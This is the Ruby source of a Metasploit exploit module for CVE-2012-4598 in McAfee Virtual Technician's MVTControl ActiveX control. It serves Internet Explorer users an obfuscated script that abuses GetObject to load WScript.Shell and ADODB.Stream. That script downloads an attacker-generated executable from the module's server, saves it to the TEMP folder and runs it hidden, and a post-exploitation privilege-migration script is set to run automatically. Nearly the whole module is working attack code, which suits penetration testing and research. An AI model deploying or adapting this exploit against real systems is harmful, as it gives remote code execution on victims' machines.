## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability", 'Description' => %q{ This modules exploits a vulnerability found in McAfee Virtual Technician's MVTControl. This ActiveX control can be abused by using the GetObject() function to load additional unsafe classes such as WScript.Shell, therefore allowing remote code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', #Initial discovery, Poc 'sinn3r' #Metasploit ], 'References' => [ [ 'CVE', '2012-4598' ], [ 'OSVDB', '81657'], [ 'EDB', '18805' ], [ 'URL', 'https://kc.mcafee.com/corporate/index?page=content&id=SB10028' ] ], 'Payload' => { 'BadChars' => "\x00", }, 'DefaultOptions' => { 'EXITFUNC' => "none", 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Apr 30 2012", 'DefaultTarget' => 0)) end def exploit @payload_name = rand_text_alpha(rand(6) + 5) + ".exe" super end def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent !~ /MSIE \d/ print_error("Browser not supported: #{agent.to_s}") send_not_found(cli) return end if request.uri =~ /\.exe$/ return if ((p=regenerate_payload(cli))==nil) data = generate_payload_exe({:code=>p.encoded}) print_status("Sending payload") send_response(cli, data, {'Content-Type'=>'application/octet-stream'}) return end # js = <<-JS var obj = new ActiveXObject("MVT.MVTControl.6300"); var ws = obj.GetObject("WScript.Shell"); var ado = obj.GetObject("ADODB.Stream"); var e = ws.Environment("Process"); var url = document.location + "/#{@payload_name}"; var tmp = e.Item("TEMP") + "\\\\#{@payload_name}"; var xml = new ActiveXObject("Microsoft.XMLHTTP"); xml.open("GET", url, false); xml.send(null); res = xml.responseBody; ado.Type = 1; ado.Mode = 3; ado.Open(); ado.Write(res); ado.SaveToFile(tmp); ws.Run(tmp, 0); JS js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate html = <<-EOS
EOS print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end